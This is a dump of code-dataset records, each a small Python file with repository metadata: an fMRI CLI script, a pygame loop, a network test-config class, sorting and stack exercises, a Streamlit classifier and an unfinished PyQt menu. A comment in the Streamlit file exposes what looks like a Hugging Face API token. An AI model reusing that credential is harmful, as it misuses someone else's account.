-s/--skip this will also remove orphan locks.\"\"\")\n\n skip_force = file_handling.add_mutually_exclusive_group()\n\n skip_force.add_argument('-f', '--force',\n action='store_true',\n help=\"\"\"Force re-writing any files\"\"\")\n\n skip_force.add_argument('-s', '--skip',\n action='store_true',\n help=\"\"\"Do not perform any calculations.\"\"\")\n\n ####################################################################\n # Verbosity\n ####################################################################\n\n control_verbosity = parser.add_argument_group(\n \"\"\"Control the level of verbosity\"\"\")\n\n control_verbosity.add_argument('-v', '--verbose',\n action='count',\n default=0,\n help=\"\"\"Increase output verbosity\"\"\")\n\n ####################################################################\n # Push\n ####################################################################\n\n control_verbosity = parser.add_argument_group(\n \"\"\"Control whether to save the modified (thus overwrite the\n existing) study instance.\"\"\")\n\n control_verbosity.add_argument('-p', '--push',\n action='store_true',\n help=\"\"\"Will save the modified (and thus overwrite the existing)\n study instance.\"\"\")\n\n ####################################################################\n # Multiprocessing\n ####################################################################\n\n control_multiprocessing = parser.add_argument_group(\n \"\"\"Multiprocessing\"\"\")\n\n control_multiprocessing.add_argument('-j', '--cores',\n type=int,\n default=1,\n help=\"\"\"Number of threads to use. The implementation will\n usually try to run as many calculations and loops as possible in\n parallel -- this may suggest that it may be adventurous to\n process all entries in the study protocol sequentially (and this\n is the default). It is possible, however, to generate a thread\n for each protocol entry. Note that this may generate a lot of\n I/O-operations. If you set CORES to 0, then the number of cores\n on the machine will be used.\"\"\")\n\n return parser\n\nfrom .fmristudy import add_study_arguments\n\ndef cmd():\n parser = define_parser()\n add_study_arguments(parser)\n args = parser.parse_args()\n call(args)\n\ncmd.__doc__ = __doc__\n\n########################################################################\n#\n# Load libraries\n#\n########################################################################\n\nimport os\n\nfrom os.path import isfile, isdir, join\n\nfrom multiprocessing.dummy import Pool as ThreadPool\n\nimport numpy as np\n\nimport scipy.io\n\nfrom .fmristudy import get_study\n\nfrom ..lock import Lock\n\nfrom ..name import Identifier\n\nfrom ..study import Study\n\nfrom ..stimulus import Block\n\nfrom ..matlab import mat2block\n\n########################################################################\n\ndef call(args):\n\n ####################################################################\n # Options\n ####################################################################\n\n remove_lock = args.remove_lock\n ignore_lock = args.ignore_lock\n force = args.force\n skip = args.skip\n verbose = args.verbose\n\n ####################################################################\n # Study\n ####################################################################\n\n study = get_study(args)\n\n if study is None:\n print('No study found. Nothing to do.')\n return\n\n ####################################################################\n # Iterator\n ####################################################################\n\n study.update_layout({'mat':join(args.mat_prefix, args.mat)})\n\n study_iterator = study.iterate('stimulus',\n new=['stimulus', 'mat'],\n integer_index=True)\n\n df = study_iterator.df.copy()\n\n df['locked'] = False\n\n ####################################################################\n # Wrapper\n ####################################################################\n\n def wm(index, stimulus, file_stimulus, file_mat, name):\n\n if type(stimulus) is Lock:\n if remove_lock or ignore_lock:\n if verbose:\n print('{}: Remove lock'.format(name.name()))\n stimulus.unlock()\n if remove_lock:\n return\n else:\n if verbose:\n print('{}: Locked'.format(name.name()))\n return\n\n if stimulus is not None and not force:\n if verbose:\n print('{}: Stimulus already exists. Use -f/--force to overwrite'.format(name.name()))\n return\n\n if skip:\n return\n\n if verbose:\n print('{}: Lock: {}'.format(name.name(), file_stimulus))\n\n lock = Lock(name, 'fmriblock', file_stimulus)\n df.ix[index, 'locked'] = True\n\n dfile = os.path.dirname(file_stimulus)\n if dfile and not isdir(dfile):\n os.makedirs(dfile)\n\n lock.save(file_stimulus)\n\n ####################################################################\n # Load MATLAB instance from disk\n ####################################################################\n\n try:\n mat = scipy.io.loadmat(file_mat)\n if verbose:\n print('{}: Read: {}'.format(name.name(), file_mat))\n except Exception as e:\n df.ix[index,'valid'] = False\n #study.protocol.ix[index,'valid'] = False\n print('{}: Unable to read: {}, {}'.format(name.name(),\n file_mat, e))\n\n if lock.conditional_unlock(df, index, verbose):\n df.ix[index,'valid'] = False\n #study.protocol.ix[index,'valid'] = False\n return\n\n ####################################################################\n # Create stimulus instance\n ####################################################################\n\n try:\n stimulus = mat2block(mat, name=name)\n\n if verbose:\n print('{}: Save {}'.format(name.name(), file_stimulus))\n\n stimulus.save(file_stimulus)\n df.ix[index,'locked'] = False\n #study.protocol.ix[index,'valid'] = False\n\n except Exception as e:\n df.ix[index,'valid'] = False\n #study.protocol.ix[index,'valid'] = False\n print('{}: Unable to create: {}, {}'.format(name.name(),\n file_stimulus, e))\n lock.conditional_unlock(df, index, verbose, True)\n return\n\n return\n\n ####################################################################\n\n if args.cores == 0:\n args.cores = None\n\n if len(df) > 1 and ((args.cores is None) or (args.cores > 1)):\n try:\n pool = ThreadPool(args.cores)\n for index, name, files, instances in study_iterator:\n stimulus = instances['stimulus']\n file_stimulus = files['stimulus']\n file_mat = files['mat']\n pool.apply_async(wm, args=(index, stimulus,\n file_stimulus, file_mat, name))\n\n pool.close()\n pool.join()\n except Exception as e:\n pool.close()\n pool.terminate()\n print('Pool execution has been terminated')\n print(e)\n finally:\n files = df.ix[df.locked, 'stimulus'].values\n if len(files) > 0:\n for f in files:\n print('Unlock: {}'.format(f))\n os.remove(f)\n else:\n try:\n print('Process protocol entries sequentially')\n for index, name, files, instances in study_iterator:\n stimulus = instances['stimulus']\n file_stimulus = files['stimulus']\n file_mat = files['mat']\n wm(index, stimulus, file_stimulus, file_mat, name)\n finally:\n files = df.ix[df.locked, 'stimulus'].values\n if len(files) > 0:\n for f in files:\n print('Unlock: {}'.format(f))\n os.remove(f)\n\n ####################################################################\n # Write study to disk\n ####################################################################\n\n if args.out is not None:\n if args.verbose:\n print('Save: {}'.format(args.out))\n\n dfile = os.path.dirname(args.out)\n if dfile and not isdir(dfile):\n os.makedirs(dfile)\n\n study.save(args.out)\n\n if args.push:\n if args.verbose:\n print('Save: {}'.format(args.study))\n study.save(args.study)\n","repo_name":"fmristats/fmristats","sub_path":"fmristats/cli/mat2block.py","file_name":"mat2block.py","file_ext":"py","file_size_in_byte":10266,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"5832599869","text":"from tkinter.tix import Form\nimport pygame, sys\nfrom pygame.colordict import THECOLORS\nfrom pygame.locals import *\n\npygame.init()\nventana = pygame.display.set_mode((1400,800)) # ,pygame.FULLSCREEN\npygame.display.set_caption(\"Juego de la Nave\")\nventana.fill(THECOLORS[\"black\"])\n\nwhile True:\n \n for evento in pygame.event.get(): # vemos los eventos que suceden en la pantalla\n if evento.type == pygame.QUIT: # si el usuario cierra la ventana...\n pygame.quit() # cerrar pygame\n sys.exit() #cerrar ventana y salir del programa\n pygame.display.update()\n","repo_name":"GonzaGomezPizarro/Repo-programacion","sub_path":"PHYTON GONZA/JUEGOdeLaNAVE/PYGAME/+pygame.py","file_name":"+pygame.py","file_ext":"py","file_size_in_byte":586,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"35704678560","text":"# /usr/bin/python3\nimport pdb\nimport copy\n\nimport infra.common.defs as defs\nimport infra.common.objects as objects\nimport infra.config.base as base\n\nimport iris.config.resmgr as resmgr\nimport iris.config.objects.segment as segment\nimport iris.config.objects.lif as lif\nimport iris.config.objects.tunnel as tunnel\nimport iris.config.objects.span as span\nimport iris.config.objects.collector as collector\nimport iris.config.objects.l4lb as l4lb\n\nimport iris.config.objects.security_group as security_group\nimport iris.config.objects.dos_policy as dos_policy\n\nfrom iris.config.store import Store\nfrom infra.common.logging import logger\nfrom infra.common.glopts import GlobalOptions\n\nimport iris.config.hal.defs as haldefs\nimport iris.config.hal.api as halapi\nimport iris.config.agent.api as agentapi\n\nclass AgentTenantObject(base.AgentObjectBase):\n def __init__(self, tenant):\n super().__init__(\"Tenant\", tenant.GID(), tenant.GID())\n return\n\nclass TenantObject(base.ConfigObjectBase):\n def __init__(self):\n super().__init__()\n self.Clone(Store.templates.Get('TENANT'))\n return\n\n def Init(self, spec, entryspec, topospec):\n self.id = resmgr.TenIdAllocator.get()\n gid = \"Ten%04d\" % self.id\n self.GID(gid)\n\n self.hostpinned = GlobalOptions.hostpin\n self.spec = copy.deepcopy(spec)\n self.type = self.spec.type.upper()\n self.qos_enable = getattr(topospec, 'qos', False)\n self.ep_learn = None\n fte = getattr(self.spec , 'fte', None)\n if fte:\n self.ep_learn = getattr(fte, 'ep_learn', None)\n\n self.label = getattr(spec, 'label', None)\n self.overlay = spec.overlay.upper()\n self.security_profile = None\n self.bhseg = None\n\n if getattr(spec, 'security_profile', None) is not None:\n self.security_profile = spec.security_profile.Get(Store)\n if self.IsInfra():\n self.subnet = resmgr.TepIpSubnetAllocator.get()\n self.ipv4_pool = resmgr.CreateIpv4AddrPool(self.subnet.get())\n self.local_tep = self.ipv4_pool.get()\n self.gipo_prefix= resmgr.GIPoAddressAllocator.get()\n self.gipo_len = 16; # Hardcoding the GIPo Prefix Length\n\n # ClassicNicMode Specific Stuff\n if GlobalOptions.classic:\n # Process Pinned Uplinks\n self.pinif = getattr(entryspec, 'uplink', None)\n self.pinif = self.pinif.Get(Store)\n self.classic_enics = None\n self.Show()\n\n # Process LIFs\n self.lifns = entryspec.lifns\n self.obj_helper_lif = lif.LifObjectHelper()\n self.__create_lifs()\n # Process Segments\n self.obj_helper_segment = segment.SegmentObjectHelper()\n self.__create_segments()\n # Process L4LbServices\n self.obj_helper_l4lb = l4lb.L4LbServiceObjectHelper()\n self.__create_l4lb_services()\n # Process Tunnels\n if self.IsInfra():\n self.obj_helper_tunnel = tunnel.TunnelObjectHelper()\n self.__create_infra_tunnels()\n elif 'tunnels' in self.spec.__dict__ and len(self.spec.tunnels) > 0:\n # this is not infra\n self.obj_helper_tunnel = tunnel.TunnelObjectHelper()\n self.__create_tenant_tunnels()\n\n # Process Span Sessions\n if self.IsSpan():\n self.obj_helper_span = span.SpanSessionObjectHelper()\n self.__create_span_sessions()\n self.obj_helper_collector = collector.CollectorHelper\n\n self.obj_helper_sg = security_group.SecurityGroupObjectHelper()\n self.obj_helper_sg.main(self)\n self.obj_helper_dosp = dos_policy.DosPolicyObjectHelper()\n #self.obj_helper_dosp.main(self)\n self.obj_helper_dosp.Generate(self)\n return\n\n def SetClassicEnics(self, enics):\n self.enic_config_done = False\n self.classic_enics = enics\n return\n\n def GetClassicEnics(self):\n return self.classic_enics\n\n def GetPromiscuousEnic(self):\n for e in self.classic_enics:\n if e.IsPromiscous():\n return e\n pdb.set_trace()\n return None\n\n def GetClassicEnicsForConfig(self):\n if self.enic_config_done is False:\n self.enic_config_done = True\n return self.classic_enics\n return None\n\n def __copy__(self):\n ten = TenantObject()\n ten.id = self.id\n ten.security_profile_handle = self.security_profile_handle\n ten.security_profile = self.security_profile\n return ten\n\n\n def Equals(self, other, lgh):\n if not isinstance(other, self.__class__):\n return False\n fields = [\"id\", \"security_profile_handle\"]\n if not self.CompareObjectFields(other, fields, lgh):\n return False\n return True\n\n def Show(self):\n logger.info(\"Tenant : %s\" % self.GID())\n logger.info(\"- Type : %s\" % self.type)\n logger.info(\"- HostPinned : %s\" % self.hostpinned)\n if self.IsInfra():\n logger.info(\"- LocalTep : %s\" % self.local_tep.get())\n logger.info(\"- GIPo : %s/%d\" % (self.gipo_prefix.get(), self.gipo_len))\n if GlobalOptions.classic:\n logger.info(\"- ClassicNicMode: True\")\n logger.info(\"- Pinned IF : %s\" % self.pinif.GID())\n return\n\n def Summary(self):\n summary = ''\n summary += 'GID:%s' % self.GID()\n summary += '/Type:%s' % self.type\n if self.label:\n summary += '/Label:%s' % self.label\n if self.IsInfra():\n summary += '/LocTep:%s' % self.local_tep.get()\n summary += '/GIPo:%s/%d' % (self.gipo_prefix.get(), self.gipo_len)\n return summary\n\n def IsInfra(self):\n return self.type == 'INFRA'\n def IsSpan(self):\n return self.type == 'SPAN'\n def IsTenant(self):\n return self.type == 'TENANT'\n def IsHostPinned(self):\n return self.hostpinned\n def IsQosEnabled(self):\n return self.qos_enable\n\n # Comment this before removing. Vxlan or Vlan is a segment level prop.\n #def IsOverlayVxlan(self):\n # return self.overlay == 'VXLAN'\n #def IsOverlayVlan(self):\n # return self.overlay == 'VLAN'\n\n def IsL4LbEnabled(self):\n return self.l4lb_enable == True\n def AllocL4LbBackend(self, remote, tnnled, pick_ep_in_l2seg_vxlan):\n return self.obj_helper_segment.AllocL4LbBackend(remote, tnnled, pick_ep_in_l2seg_vxlan)\n\n def IsIPV4EpLearnEnabled(self):\n if GlobalOptions.rtl:\n return False\n return self.ep_learn and self.ep_learn.ipv4\n\n def IsIPV6EpLearnEnabled(self):\n if GlobalOptions.rtl:\n return False\n return self.ep_learn and self.ep_learn.ipv6\n\n def __create_l4lb_services(self):\n if 'l4lb' not in self.spec.__dict__:\n self.l4lb_enable = False\n return\n\n self.l4lb_enable = True\n spec = self.spec.l4lb.Get(Store)\n self.obj_helper_l4lb.Generate(self, spec)\n return\n\n def __create_segments(self):\n for entry in self.spec.segments:\n spec = entry.spec.Get(Store)\n self.obj_helper_segment.Generate(self, spec, entry.count)\n self.obj_helper_segment.AddToStore()\n self.bhseg = self.obj_helper_segment.GetBlackholeSegment()\n return\n\n def __create_lifs(self):\n enic_spec = getattr(self.spec, 'enics', None)\n n_prom = 0\n n_allmc = 0\n if enic_spec:\n n_prom = getattr(enic_spec, 'promiscuous', 0)\n n_allmc = getattr(enic_spec, 'allmulti', 0)\n self.spec.lif = self.spec.lif.Get(Store)\n self.obj_helper_lif.Generate(self, self.spec.lif,\n self.lifns, n_prom, n_allmc)\n self.obj_helper_lif.Configure()\n return\n\n def __create_infra_tunnels(self):\n #Don't create tunnels if Learning enabled for now.\n if self.IsIPV4EpLearnEnabled() or self.IsIPV6EpLearnEnabled():\n return\n for entry in self.spec.tunnels:\n spec = entry.spec.Get(Store)\n self.obj_helper_tunnel.Generate(self, spec, self.GetEps())\n self.obj_helper_tunnel.AddToStore()\n return\n\n def __create_tenant_tunnels(self):\n #Don't create tunnels if Learning enabled for now.\n if self.IsIPV4EpLearnEnabled() or self.IsIPV6EpLearnEnabled():\n return\n reps = self.GetRemoteEps()\n leps = self.GetLocalEps()\n id = 0\n lid = 0\n for entry in self.spec.tunnels:\n spec = entry.spec.Get(Store)\n isLocal = entry.local\n if id >= len(reps):\n return\n eps = []\n if isLocal is True:\n eps.append(leps[lid])\n lid = lid + 1\n else:\n eps.append(reps[id])\n id = id + 1\n self.obj_helper_tunnel.Generate(self, spec, eps)\n self.obj_helper_tunnel.AddToStore()\n\n\n def __create_span_sessions(self):\n self.obj_helper_span.main(self, self.spec)\n return\n\n def ConfigureCollectors(self):\n if self.IsSpan():\n self.obj_helper_collector.main(self, self.spec)\n return\n\n def AllocLif(self):\n return self.obj_helper_lif.Alloc()\n\n def ConfigureSegments(self):\n return self.obj_helper_segment.Configure()\n\n def ConfigureSegmentsPhase2(self):\n return self.obj_helper_segment.ConfigurePhase2()\n\n def ConfigureTunnels(self):\n if self.IsInfra() or ('tunnels' in self.spec.__dict__ and len(self.spec.tunnels) > 0):\n self.obj_helper_tunnel.Configure()\n return\n\n def ConfigureDosPolicies(self):\n self.obj_helper_dosp.Configure()\n return\n\n def ConfigureL4LbServices(self):\n return self.obj_helper_l4lb.Configure()\n\n def GetSegments(self):\n return self.obj_helper_segment.segs\n\n def GetSpanSegment(self):\n for seg in self.obj_helper_segment.segs:\n if seg.IsSpanSegment():\n return seg\n return None\n\n def GetL4LbServices(self):\n return self.obj_helper_l4lb.svcs\n\n def GetEps(self, backend = False):\n return self.obj_helper_segment.GetEps(backend)\n\n def GetRemoteEps(self, backend = False):\n return self.obj_helper_segment.GetRemoteEps(backend)\n\n def GetLocalEps(self, backend = False):\n return self.obj_helper_segment.GetLocalEps(backend)\n\n def GetPinIf(self):\n return self.pinif\n\n def GetSecurityGroups(self):\n return self.obj_helper_sg.sgs\n def GetLocalSecurityGroups(self):\n return self.obj_helper_sg.GetLocal()\n def GetRemoteSecurityGroups(self):\n return self.obj_helper_sg.GetRemote()\n\n def PrepareHALRequestSpec(self, reqspec):\n reqspec.key_or_handle.vrf_id = self.id\n if self.security_profile:\n reqspec.security_key_handle.profile_handle = self.security_profile.hal_handle\n self.security_profile_handle = self.security_profile.hal_handle\n if self.IsInfra():\n reqspec.vrf_type = haldefs.common.VRF_TYPE_INFRA\n reqspec.mytep_ip.ip_af = haldefs.common.IP_AF_INET\n reqspec.mytep_ip.v4_addr = self.local_tep.getnum()\n reqspec.gipo_prefix.address.ip_af = haldefs.common.IP_AF_INET\n reqspec.gipo_prefix.address.v4_addr = self.gipo_prefix.getnum()\n reqspec.gipo_prefix.prefix_len = self.gipo_len\n else:\n if GlobalOptions.classic:\n reqspec.vrf_type = haldefs.common.VRF_TYPE_INBAND_MANAGEMENT\n else:\n reqspec.vrf_type = haldefs.common.VRF_TYPE_CUSTOMER\n\n return\n\n def ProcessHALResponse(self, req_spec, resp_spec):\n logger.info(\" - Tenant %s = %s\" %\\\n (self.GID(), \\\n haldefs.common.ApiStatus.Name(resp_spec.api_status)))\n return\n\n def PrepareHALGetRequestSpec(self, get_req_spec):\n get_req_spec.key_or_handle.vrf_id = self.id\n return\n\n def ProcessHALGetResponse(self, get_req_spec, get_resp_spec):\n if get_resp_spec.api_status == haldefs.common.ApiStatus.Value('API_STATUS_OK'):\n self.id = get_resp_spec.spec.key_or_handle.vrf_id\n self.security_profile_handle = get_resp_spec.spec.security_profile_handle\n else:\n self.security_profile_handle = None\n return\n\n def PrepareAgentObject(self):\n return AgentTenantObject(self)\n\n def Get(self):\n halapi.GetTenants([self])\n\n def IsFilterMatch(self, spec):\n return super().IsFilterMatch(spec.filters)\n\n# Helper Class to Generate/Configure/Manage Tenant Objects.\nclass TenantObjectHelper:\n def __init__(self):\n self.tens = []\n return\n\n def Configure(self):\n logger.info(\"Configuring %d Tenants.\" % len(self.tens))\n if GlobalOptions.agent:\n agentapi.ConfigureTenants(self.tens)\n else:\n halapi.ConfigureTenants(self.tens)\n\n for ten in self.tens:\n ten.ConfigureSegments()\n ten.ConfigureL4LbServices()\n return\n\n def ConfigurePhase2(self):\n for ten in self.tens:\n ten.ConfigureSegmentsPhase2()\n ten.ConfigureTunnels()\n ten.ConfigureDosPolicies()\n ten.ConfigureCollectors()\n return\n\n def Generate(self, topospec):\n tenspec = getattr(topospec, 'tenants', None)\n if tenspec is None:\n return\n for entry in topospec.tenants:\n spec = entry.spec.Get(Store)\n logger.info(\"Creating %d Tenants\" % entry.count)\n for c in range(entry.count):\n ten = TenantObject()\n ten.Init(spec, entry, topospec)\n self.tens.append(ten)\n Store.objects.SetAll(self.tens)\n return\n\n def main(self, topospec):\n self.Generate(topospec)\n self.Configure()\n return\n\n\nTenantHelper = TenantObjectHelper()\n\ndef GetMatchingObjects(selectors):\n tenants = Store.objects.GetAllByClass(TenantObject)\n return [ten for ten in tenants if ten.IsFilterMatch(selectors.tenant)]\n","repo_name":"ccdxc/sw","sub_path":"dol/iris/config/objects/tenant.py","file_name":"tenant.py","file_ext":"py","file_size_in_byte":14370,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"71"} +{"seq_id":"16316463116","text":"def merge(l1, l2):\n # temp=[]\n # len_l1=len(l1)\n # len_l2=len(l2)\n\n temp, len_l1, len_l2 = [], len(l1), len(l2)\n i, j = 0, 0\n\n while i+j < len_l1+len_l2:\n\n if i == len_l1:\n temp.append(l2[j])\n j = j+1\n\n elif j == len_l2:\n temp.append(l1[i])\n i = i+1\n\n elif l1[i] <= l2[j]:\n temp.append(l1[i])\n i = i+1\n\n elif l2[j] < l1[i]:\n temp.append(l2[j])\n j = j+1\n\n return temp\n\n\n# l1 = [2, 45, 64, 66, 86, 99]\n# l2 = [5, 7, 17, 57, 100]\n# print(merge(l1, l2))\n\ndef mergesort(A, left, right):\n # Sort the slice A[left:right]\n if right - left <= 1: # Base case\n return (A[left:right])\n\n if right - left > 1: # Recursive call\n mid = (left+right)//2\n\n L = mergesort(A, left, mid)\n R = mergesort(A, mid, right)\n\n return (merge(L, R))\n\n\nl = list(range(0, 100, 2))+list(range(1, 75, 2))\nprint(l, '\\n')\nprint(mergesort(l, 0, len(l)))\n","repo_name":"Advanced-Boy-Shreyash/NPTEL-DS-Algo-Python","sub_path":"merge sort.py","file_name":"merge sort.py","file_ext":"py","file_size_in_byte":999,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"9560982908","text":"from typing import List\nclass NumArray:\n def __init__(self, nums: List[int]):\n if nums:\n self.sum_nums = [nums[0]]\n for i in range(1, len(nums)):\n self.sum_nums.append(self.sum_nums[i-1] + nums[i])\n\n def sumRange(self, i: int, j: int) -> int:\n if self.sum_nums:\n low = self.sum_nums[i-1] if i-1 >=0 else 0\n return self.sum_nums[j] - low\n return 0\ndef main():\n sol = NumArray([-2, 0, 3, -5, 2, -1])\n result = sol.sumRange(0,2)\n print(result)\n result = sol.sumRange(2,5)\n print(result)\n result = sol.sumRange(0,5)\n print(result)\n\nif __name__ == \"__main__\":\n main()\n\n# Your NumArray object will be instantiated and called as such:\n# obj = NumArray(nums)\n# param_1 = obj.sumRange(i,j)","repo_name":"yanansun2020/leetcode","sub_path":"python/dp/303-Range-Sum-Query-Immutable.py","file_name":"303-Range-Sum-Query-Immutable.py","file_ext":"py","file_size_in_byte":790,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"71"} +{"seq_id":"38467039469","text":"import streamlit as st\nimport numpy as np\nimport pandas as pd\nimport requests\n\n# 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\nAPI_KEY = st.secrets[\"API_KEY\"]\nAPI_URL = \"https://api-inference.huggingface.co/models/valhalla/distilbart-mnli-12-3\"\nheaders = {\"Authorization\": f\"Bearer {API_KEY}\"}\n\n\ndef query(payload):\n response = requests.post(API_URL, headers=headers, json=payload)\n return response.json()\n\n\nwith st.form(key=\"my_form\"):\n labels = st.text_area(\"Give set of labels seperated with comma\", \" \")\n inputs = st.text_area(\n \"Enter text for classification\",\n \"Hi, I recently bought a device from your company but it is not working as advertised and I would like to get reimbursed!\",\n )\n payload = {\n \"inputs\": inputs,\n \"parameters\": {\"candidate_labels\": list(labels.split(\",\"))},\n }\n submitted = st.form_submit_button(\"Classify\")\n if submitted:\n output = query(payload)\n st.write(output)\n","repo_name":"ardaaras99/streamlit-zeroshot-classifier","sub_path":"streamlit.py","file_name":"streamlit.py","file_ext":"py","file_size_in_byte":957,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"71"} +{"seq_id":"3490833634","text":"from datetime import datetime\nimport re\nimport sys\n\nfirst_date = None\ntotal_words = 0\nfor line in sys.stdin:\n line = line.strip()\n count, date = re.split(\"\\s+\", line)\n count = int(count)\n total_words += count\n if not first_date:\n first_date = date\n\nfirst_date_obj = datetime.strptime(first_date, \"%Y-%m-%d\")\nlast_date_obj = datetime.now()\ntotal_days = (last_date_obj - first_date_obj).days\nprint(\"Cards per day: %s\" % (total_words * 1.0 / total_days))\nprint(\"Total days: %s\" % total_days)\nprint(\"Total words: %s\" % total_words)\n","repo_name":"dancromartie/language-cards","sub_path":"analyze_words_by_date.py","file_name":"analyze_words_by_date.py","file_ext":"py","file_size_in_byte":550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"38715794619","text":"n = int(input())\nanswer = []\n\nfor i in range(0, n):\n a = input()\n sn = int(input())\n sum = 0\n for j in range(0, sn):\n c = int(input())\n sum += c\n if (sum % sn) == 0:\n answer.append('YES')\n else:\n answer.append('NO')\n\n\nfor i in answer:\n print(i)","repo_name":"SeongHyeon0409/practice","sub_path":"PycharmProjects/boj/수학/2547_사탕선생고창영.py","file_name":"2547_사탕선생고창영.py","file_ext":"py","file_size_in_byte":293,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"71"} +{"seq_id":"15697660990","text":"a = 11\nb = 5\nsum = a + b\nsubtraction = a - b\nmultiplication = a * b\ndivision = a / b\nrest = a % b\n\nprint(sum)\nprint(subtraction)\nprint(multiplication)\nprint(int (division))\nprint(rest)\n\nprint('sum: ' + str(sum))\nprint('subtraction: ' + str(subtraction))\nprint('multiplication:' +str(multiplication))\nprint('division:' + str(int (division)))\nprint('rest:' + str(rest))\n\nprint(sum)\nprint(subtraction)\nprint(multiplication)\nprint(int (division))\nprint(rest)\n\nprint('sum: {}'.format(sum))\nprint('subtraction: {}'.format(subtraction))\nprint('multiplication: {}'.format(multiplication))\nprint('division: {}'.format(int (division)))\nprint('rest: {}'.format(rest))\n\nprint('Sum: {}. Subtraction: {}. Multiplication: {}. Division: {}. Rest: {}'.format(sum, subtraction, multiplication, int(division), rest))\n\nprint('Sum: {}.'\n '\\nSubtraction: {}.'\n '\\nMultiplication: {}.'\n '\\nDivision: {}.'\n '\\nRest: {}'.format(sum,\n subtraction,\n multiplication,\n int(division),\n rest))\n\nprint('Sum: {result1}.'\n '\\nSubtraction: {result2}.'\n '\\nMultiplication: {result3}.'\n '\\nDivision: {result4}.'\n '\\nRest: {result5}'.format(result1=sum,\n result2=subtraction,\n result3=multiplication,\n result4=int(division),\n result5=rest))\n\nprint('Sum: {result1}.'\n '\\nSubtraction: {result2}.'\n '\\nMultiplication: {result3}.'\n '\\nDivision: {result4}.'\n '\\nRest: {result5}'.format(result5=rest,\n result1=sum,\n result4=int(division),\n result2=subtraction,\n result3=multiplication))\n\n# x = 1\n# sum2 = int(x) + 1\n# print(sum2)\n\nc = int( input('Entre com o primeiro valor: '))\nd = int( input('Entre com o segundo valor: '))\nsum2 = c + d\nsubtraction2 = c - d\nmultiplication2 = c * d\ndivision2 = c / d\nrest2 = c % d\n\nprint('Sum: {result1}.'\n '\\nSubtraction: {result2}.'\n '\\nMultiplication: {result3}.'\n '\\nDivision: {result4}.'\n '\\nRest: {result5}'.format(result5=rest2,\n result1=sum2,\n result4=int(division2),\n result2=subtraction2,\n result3=multiplication2))\n\nResultado = ('Sum: {result1}.'\n '\\nSubtraction: {result2}.'\n '\\nMultiplication: {result3}.'\n '\\nDivision: {result4}.'\n '\\nRest: {result5}'.format(result5=rest2,\n result1=sum2,\n result4=int(division2),\n result2=subtraction2,\n result3=multiplication2))\nprint(Resultado)\n\n","repo_name":"fcsleticia/Python_para_estudos","sub_path":"meu-app2.py","file_name":"meu-app2.py","file_ext":"py","file_size_in_byte":2871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"29230588400","text":"from typing import Any\nfrom enum import Enum\n\n\nclass FixedStack:\n class Empty(Exception):\n pass\n\n class Full(Exception):\n pass\n\n def __init__(self, capacity: int = 256) -> None:\n self.stk = [None] * capacity\n self.capacity = capacity\n self.ptr = 0\n\n def __len__(self) -> int:\n return self.ptr\n\n def is_empty(self) -> bool:\n return self.ptr <= 0\n\n def is_full(self) -> bool:\n return self.ptr >= self.capacity\n\n def push(self, value: Any) -> None:\n if self.is_full():\n raise FixedStack.Full\n self.stk[self.ptr] = value\n self.ptr += 1\n\n def pop(self) -> Any:\n if self.is_empty():\n raise FixedStack.Empty\n self.ptr -= 1\n return self.stk[self.ptr]\n\n def peek(self) -> Any:\n if self.is_empty():\n raise FixedStack.Empty\n return self.stk[self.ptr - 1]\n\n def clear(self) -> None:\n self.ptr = 0\n\n def find(self, value: Any) -> Any:\n for i in range(self.ptr - 1, -1, -1):\n if self.stk[i] == value:\n return i\n return -1\n\n def count(self, value: Any) -> bool:\n count = 0\n for i in range(self.ptr):\n if self.stk[i] == value:\n count += 1\n\n return count\n\n def __contains__(self, value: Any) -> bool:\n return self.count(value)\n\n def dump(self) -> None:\n if self.is_empty():\n print(\"스택이 비어있습니다\")\n else:\n print(self.stk[:self.ptr])\n\nMenu = Enum('Menu', 'Push Pop Peek Search Dump Exit')\nif __name__ == \"__main__\":\n\n def select_menu() -> Menu:\n s = [f'({m.value}){m.name}' for m in Menu]\n while True:\n print(*s, sep=' ', end='')\n n = int(input(': '))\n if 1 <= n <= len(Menu):\n return Menu(n)\n\ns = FixedStack(64)\nwhile True:\n print(f'현재 데이터 수 : {len(s)}/{s.capacity}')\n menu = select_menu()\n if menu == Menu.Push:\n x = int(input('데이터 입력 : '))\n try:\n s.push(x)\n except FixedStack.Full:\n print('스택이 가득 차 있습니다.')\n\n elif menu == Menu.Pop:\n try:\n x = s.pop()\n print(f'꺼낸 데이터는 {x}')\n except FixedStack.Empty:\n print('스택이 비어있습니다.')\n\n elif menu == Menu.Peek:\n try:\n x = s.peek()\n print(f'피크 데이터는 {x}')\n except FixedStack.Empty:\n print('스택이 비어있습니다.')\n\n elif menu == Menu.Search:\n x = int(input('검색할 값을 입력 하시오 : '))\n if x in s:\n print(f'{s.count(x)}개가 스택에 존재하며 , 맨 처음 위치는 {s.find(x)}입니다')\n else:\n print('검색할 값이 없습니다.')\n\n elif menu == Menu.Dump:\n s.dump()\n\n else:\n break\n","repo_name":"hongseunggi/Python_Algorithm","sub_path":"day4/stack.py","file_name":"stack.py","file_ext":"py","file_size_in_byte":2938,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"71"} +{"seq_id":"9058904991","text":"import sys\n\nfrom PyQt5.QtWidgets import QApplication\nfrom PyQt5.QtWidgets import QMainWindow\nfrom PyQt5.QtWidgets import QAction\nfrom PyQt5.QtWidgets import qApp\nfrom PyQt5.QtWidgets import QMessageBox\n\nfrom bloc1 import Notepad\n\n\n\nimport bloc1\n\n\nclass menu(QMainWindow):\n\n def __init__(self):\n super().__init__()\n\n #creamos el menu\n self.bloc=Notepad()\n self.form_widget=self.bloc\n self.setCentralWidget(self.form_widget)\n barra=self.menuBar()\n\n archivo=barra.addMenu('Archivo')\n \n\n guardar_accion=QAction('Guardar',self)\n 